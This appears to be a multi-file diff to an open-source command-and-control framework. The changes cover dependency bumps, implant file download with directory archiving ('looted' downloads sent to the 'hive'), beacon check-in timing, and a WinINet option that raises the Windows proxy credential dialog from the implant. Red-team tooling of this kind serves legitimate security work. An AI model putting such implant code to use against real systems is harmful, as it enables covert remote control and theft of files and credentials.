github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
|
||||
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
|
||||
@@ -1340,8 +1338,9 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
|
||||
gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
|
||||
gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
|
||||
gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
|
||||
@@ -1397,7 +1396,6 @@ modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g
|
||||
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
|
||||
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.20/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.22/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
@@ -1438,11 +1436,8 @@ modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3
|
||||
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
|
||||
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
|
||||
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
|
||||
modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
|
||||
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
|
||||
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
|
||||
modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
|
||||
modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
|
||||
modernc.org/ccgo/v3 v3.13.1/go.mod h1:aBYVOUfIlcSnrsRVU8VRS35y2DIfpgkmVkYZ0tpIXi4=
|
||||
modernc.org/ccgo/v3 v3.15.9/go.mod h1:md59wBwDT2LznX/OTCPoVS6KIsdRgY8xqQwBV+hkTH0=
|
||||
modernc.org/ccgo/v3 v3.15.10/go.mod h1:wQKxoFn0ynxMuCLfFD09c8XPUCc8obfchoVR9Cn0fI8=
|
||||
@@ -1453,7 +1448,6 @@ modernc.org/ccgo/v3 v3.15.16/go.mod h1:XbKRMeMWMdq712Tr5ECgATYMrzJ+g9zAZEj2ktzBe
|
||||
modernc.org/ccgo/v3 v3.15.17/go.mod h1:bofnFkpRFf5gLY+mBZIyTW6FEcp26xi2lgOFk2Rlvs0=
|
||||
modernc.org/ccgo/v3 v3.15.18 h1:X5ym656Ye7/ubL+wox0SeF9aRX5od1UDFn1tAbQR+90=
|
||||
modernc.org/ccgo/v3 v3.15.18/go.mod h1:/2lv3WjHyanEr2sAPdGKRC38n6f0werut9BRXUjjX+A=
|
||||
modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
|
||||
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
@@ -1494,12 +1488,8 @@ modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
|
||||
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
|
||||
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
|
||||
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
|
||||
modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
|
||||
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
|
||||
modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
|
||||
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
|
||||
modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
|
||||
modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
|
||||
modernc.org/libc v1.12.0/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
|
||||
modernc.org/libc v1.14.1/go.mod h1:npFeGWjmZTjFeWALQLrvklVmAxv4m80jnG3+xI8FdJk=
|
||||
modernc.org/libc v1.14.2/go.mod h1:MX1GBLnRLNdvmK9azU9LCxZ5lMyhrbEMK8rG3X/Fe34=
|
||||
@@ -1517,27 +1507,20 @@ modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6
|
||||
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
|
||||
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
|
||||
modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
|
||||
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
|
||||
modernc.org/memory v1.0.6/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
|
||||
modernc.org/memory v1.0.7 h1:UE3cxTRFa5tfUibAV7Jqq8P7zRY0OlJg+yWVIIaluEE=
|
||||
modernc.org/memory v1.0.7/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
|
||||
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
|
||||
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
|
||||
modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
|
||||
modernc.org/sqlite v1.16.0 h1:DdvOGaWN0y+X7t2L7RUD63gcwbVjYZjcBZnA68g44EI=
|
||||
modernc.org/sqlite v1.16.0/go.mod h1:Jwe13ItpESZ+78K5WS6+AjXsUg+JvirsjN3iIDO4C8k=
|
||||
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
|
||||
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
|
||||
modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
|
||||
modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
|
||||
modernc.org/tcl v1.11.2 h1:mXpsx3AZqJt83uDiFu9UYQVBjNjaWKGCF1YDSlpCL6Y=
|
||||
modernc.org/tcl v1.11.2/go.mod h1:BRzgpajcGdS2qTxniOx9c/dcxjlbA7p12eJNmiriQYo=
|
||||
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
|
||||
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
|
||||
modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
|
||||
modernc.org/z v1.3.2 h1:4GWBVMa48UDC7KQ9tnaggN/yTlXg+CdCX9bhgHPQ9AM=
|
||||
modernc.org/z v1.3.2/go.mod h1:PEU2oK2OEA1CfzDTd+8E908qEXhC9s0MfyKp5LZsd+k=
|
||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
||||
|
||||
@@ -277,6 +277,13 @@ func pwdHandler(data []byte, resp RPCResponse) {
|
||||
// Send a file back to the hive
|
||||
func downloadHandler(data []byte, resp RPCResponse) {
|
||||
var rawData []byte
|
||||
|
||||
/*
|
||||
A flag for whether this is a directory - used if
|
||||
this download is being looted
|
||||
*/
|
||||
var isDir bool
|
||||
|
||||
downloadReq := &sliverpb.DownloadReq{}
|
||||
err := proto.Unmarshal(data, downloadReq)
|
||||
if err != nil {
|
||||
@@ -307,8 +314,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
log.Printf("error creating the archive: %v", err)
|
||||
// {{end}}
|
||||
rawData = dirData.Bytes()
|
||||
isDir = true
|
||||
} else {
|
||||
rawData, err = ioutil.ReadFile(target)
|
||||
isDir = false
|
||||
}
|
||||
|
||||
var download *sliverpb.Download
|
||||
@@ -320,6 +329,7 @@ func downloadHandler(data []byte, resp RPCResponse) {
|
||||
Data: gzipData.Bytes(),
|
||||
Encoder: "gzip",
|
||||
Exists: true,
|
||||
IsDir: isDir,
|
||||
}
|
||||
} else {
|
||||
download = &sliverpb.Download{Path: target, Exists: false}
|
||||
@@ -604,12 +614,58 @@ func gzipRead(data []byte) ([]byte, error) {
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
|
||||
func standarizeArchiveFileName(path string) string {
|
||||
// Change all backslashes to forward slashes
|
||||
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
|
||||
|
||||
/*
|
||||
Remove the volume / root from the directory
|
||||
path. This makes it so that files on the
|
||||
system where the archive is extracted to
|
||||
will not be clobbered.
|
||||
|
||||
Tried with filepath.VolumeName, but that function
|
||||
does not work reliably with Windows paths
|
||||
*/
|
||||
if strings.HasPrefix(standardFilePath, "//") {
|
||||
// If this a UNC path, filepath.Rel is not going to work
|
||||
return standardFilePath[2:]
|
||||
} else {
|
||||
// Calculate a path relative to the root
|
||||
pathParts := strings.SplitN(standardFilePath, "/", 2)
|
||||
if len(pathParts) < 2 {
|
||||
// Then something is wrong with this path
|
||||
return standardFilePath
|
||||
}
|
||||
|
||||
basePath := pathParts[0]
|
||||
fileRelPath := pathParts[1]
|
||||
|
||||
if basePath == "" {
|
||||
// If base path is blank, that means it started with / and / is the root
|
||||
return fileRelPath
|
||||
} else {
|
||||
/*
|
||||
Then this is almost certainly Windows, and we will set the archive up
|
||||
so that it preserves the path but without the colon.
|
||||
Something like:
|
||||
c/windows/system32/file.whatever
|
||||
Colons are not legal in Windows filenames, so let's get rid of them.
|
||||
*/
|
||||
basePath = strings.ReplaceAll(basePath, ":", "")
|
||||
basePath = strings.ToLower(basePath)
|
||||
return basePath + "/" + fileRelPath
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func compressDir(path string, buf io.Writer) error {
|
||||
zipWriter := gzip.NewWriter(buf)
|
||||
tarWriter := tar.NewWriter(zipWriter)
|
||||
|
||||
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
|
||||
fileName := file
|
||||
fileName := standarizeArchiveFileName(file)
|
||||
|
||||
// If the file is a SymLink replace fileInfo and path with the symlink destination.
|
||||
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
file, err = filepath.EvalSymlinks(file)
|
||||
|
||||
@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
|
||||
|
||||
// getTokenOwner retrieves access token t owner account information.
|
||||
func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
|
||||
i, e := getInfo(t, syscall.TokenOwner, 50)
|
||||
i, e := getInfo(t, syscall.TokenUser, 50)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
|
||||
@@ -298,7 +298,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
Interval: beacon.Interval(),
|
||||
Jitter: beacon.Jitter(),
|
||||
Register: register,
|
||||
NextCheckin: nextCheckin.UTC().Unix(),
|
||||
NextCheckin: int64(beacon.Duration().Seconds()),
|
||||
}))
|
||||
beacon.Close()
|
||||
time.Sleep(time.Second)
|
||||
@@ -360,7 +360,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
// {{end}}
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
NextCheckin: nextCheckin.UTC().Unix(),
|
||||
NextCheckin: int64(beacon.Duration().Seconds()),
|
||||
}))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -103,7 +103,7 @@ func (b *Beacon) Duration() time.Duration {
|
||||
// {{end}}
|
||||
jitterDuration := time.Duration(0)
|
||||
if 0 < b.Jitter() {
|
||||
jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
|
||||
jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
|
||||
}
|
||||
duration := time.Duration(b.Interval()) + jitterDuration
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -10,6 +10,15 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
FLAGS_ERROR_UI_FILTER_FOR_ERRORS uint32 = 0x01
|
||||
FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS uint32 = 0x02
|
||||
FLAGS_ERROR_UI_FLAGS_GENERATE_DATA uint32 = 0x04
|
||||
INTERNET_ERROR_BASE uint32 = 12000
|
||||
ERROR_INTERNET_INCORRECT_PASSWORD uint32 = INTERNET_ERROR_BASE + 14
|
||||
ERROR_INTERNET_FORCE_RETRY uint32 = INTERNET_ERROR_BASE + 32
|
||||
)
|
||||
|
||||
// Client is a struct containing relevant metadata to make HTTP
|
||||
// requests.
|
||||
type Client struct {
|
||||
@@ -18,7 +27,8 @@ type Client struct {
|
||||
TLSClientConfig struct {
|
||||
InsecureSkipVerify bool
|
||||
}
|
||||
CookieJar *Jar
|
||||
CookieJar *Jar
|
||||
AskProxyCreds bool
|
||||
}
|
||||
|
||||
// NewClient will return a pointer to a new Client instance that
|
||||
@@ -147,6 +157,21 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if c.AskProxyCreds {
|
||||
if resp.StatusCode == 407 {
|
||||
err := promptUserPassword(reqHandle)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err = sendRequest(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp, err = buildResponse(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c.CookieJar.cookies = resp.Cookies()
|
||||
|
||||
return &http.Response{
|
||||
@@ -162,6 +187,17 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
|
||||
}, nil
|
||||
}
|
||||
|
||||
func promptUserPassword(reqHandle uintptr) error {
|
||||
var lppvData []byte
|
||||
dwError := ERROR_INTERNET_INCORRECT_PASSWORD
|
||||
dwFlags := FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA
|
||||
_, err := InternetErrorDlg(GetDesktopWindow(), reqHandle, dwError, dwFlags, &lppvData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
libuser32 = windows.NewLazySystemDLL("User32")
|
||||
)
|
||||
|
||||
func GetDesktopWindow() uintptr {
|
||||
|
||||
ret, _, _ := libuser32.NewProc("GetDesktopWindow").Call()
|
||||
|
||||
return ret
|
||||
}
|
||||
@@ -413,3 +413,34 @@ func InternetSetOptionW(
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// InternetErrorDlg is from wininet.h
|
||||
func InternetErrorDlg(
|
||||
hWnd uintptr,
|
||||
hRequest uintptr,
|
||||
dwError uint32,
|
||||
dwFlags uint32,
|
||||
lppvData *[]byte,
|
||||
) (uintptr, error) {
|
||||
var buf []byte
|
||||
var proc string = "InternetErrorDlg"
|
||||
var success uintptr
|
||||
|
||||
buf = make([]byte, 1024) //arbitrary size (safe?)
|
||||
|
||||
success, _, _ = wininet.NewProc(proc).Call(
|
||||
uintptr(hWnd),
|
||||
hRequest,
|
||||
uintptr(dwError),
|
||||
uintptr(dwFlags),
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
)
|
||||
// we expect 12032 if user hits okay, otherwise we return the response code as an error
|
||||
if uint32(success) != ERROR_INTERNET_FORCE_RETRY {
|
||||
return success, fmt.Errorf("%s: %s", proc, success)
|
||||
}
|
||||
|
||||
*lppvData = buf
|
||||
|
||||
return success, nil
|
||||
}
|
||||
@@ -58,5 +58,6 @@ func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, e
|
||||
return nil, err
|
||||
}
|
||||
wininetClient.TLSClientConfig.InsecureSkipVerify = true
|
||||
wininetClient.AskProxyCreds = opts.AskProxyCreds
|
||||
return wininetClient, nil
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -37,12 +38,14 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
|
||||
var transport *http.Transport
|
||||
if !secure {
|
||||
transport = &http.Transport{
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
} else {
|
||||
transport = &http.Transport{
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: opts.NetTimeout,
|
||||
}).Dial,
|
||||
|
||||
@@ -74,6 +74,7 @@ type HTTPOptions struct {
|
||||
ProxyConfig string
|
||||
ProxyUsername string
|
||||
ProxyPassword string
|
||||
AskProxyCreds bool
|
||||
}
|
||||
|
||||
// ParseHTTPOptions - Parse c2 specific configuration options
|
||||
@@ -112,6 +113,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
ProxyConfig: c2URI.Query().Get("proxy"),
|
||||
ProxyUsername: c2URI.Query().Get("proxy-username"),
|
||||
ProxyPassword: c2URI.Query().Get("proxy-password"),
|
||||
AskProxyCreds: c2URI.Query().Get("ask-proxy-creds") == "true",
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.20.0
|
||||
// protoc-gen-go v1.28.0
|
||||
// protoc v3.20.1
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -2606,6 +2606,7 @@ type DNSListenerReq struct {
|
||||
Host string `protobuf:"bytes,3,opt,name=Host,proto3" json:"Host,omitempty"`
|
||||
Port uint32 `protobuf:"varint,4,opt,name=Port,proto3" json:"Port,omitempty"`
|
||||
Persistent bool `protobuf:"varint,5,opt,name=Persistent,proto3" json:"Persistent,omitempty"`
|
||||
EnforceOTP bool `protobuf:"varint,6,opt,name=EnforceOTP,proto3" json:"EnforceOTP,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DNSListenerReq) Reset() {
|
||||
@@ -2675,6 +2676,13 @@ func (x *DNSListenerReq) GetPersistent() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (x *DNSListenerReq) GetEnforceOTP() bool {
|
||||
if x != nil {
|
||||
return x.EnforceOTP
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
type DNSListener struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -5850,7 +5858,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a,
|
||||
0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a,
|
||||
0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49,
|
||||
0x44, 0x22, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
|
||||
0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
|
||||
0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18,
|
||||
0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a,
|
||||
0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08,
|
||||
@@ -5859,7 +5867,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f,
|
||||
0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74,
|
||||
0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65,
|
||||
0x6e, 0x74, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
|
||||
0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50,
|
||||
0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f,
|
||||
0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
|
||||
0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
|
||||
0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xcf, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50,
|
||||
0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44,
|
||||
|
||||
@@ -282,6 +282,7 @@ message DNSListenerReq {
|
||||
string Host = 3;
|
||||
uint32 Port = 4;
|
||||
bool Persistent = 5;
|
||||
bool EnforceOTP = 6;
|
||||
}
|
||||
|
||||
message DNSListener {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.20.0
|
||||
// protoc v3.19.4
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.20.0
|
||||
// protoc-gen-go v1.28.0
|
||||
// protoc v3.20.1
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.20.0
|
||||
// protoc-gen-go v1.28.0
|
||||
// protoc v3.20.1
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
@@ -1,4 +1,8 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v3.20.1
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
|
||||
+799
-790
File diff suppressed because it is too large.
Load diff
@@ -242,6 +242,7 @@ message Download {
|
||||
int64 Start = 4;
|
||||
int64 Stop = 5;
|
||||
bytes Data = 6;
|
||||
bool IsDir = 7;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
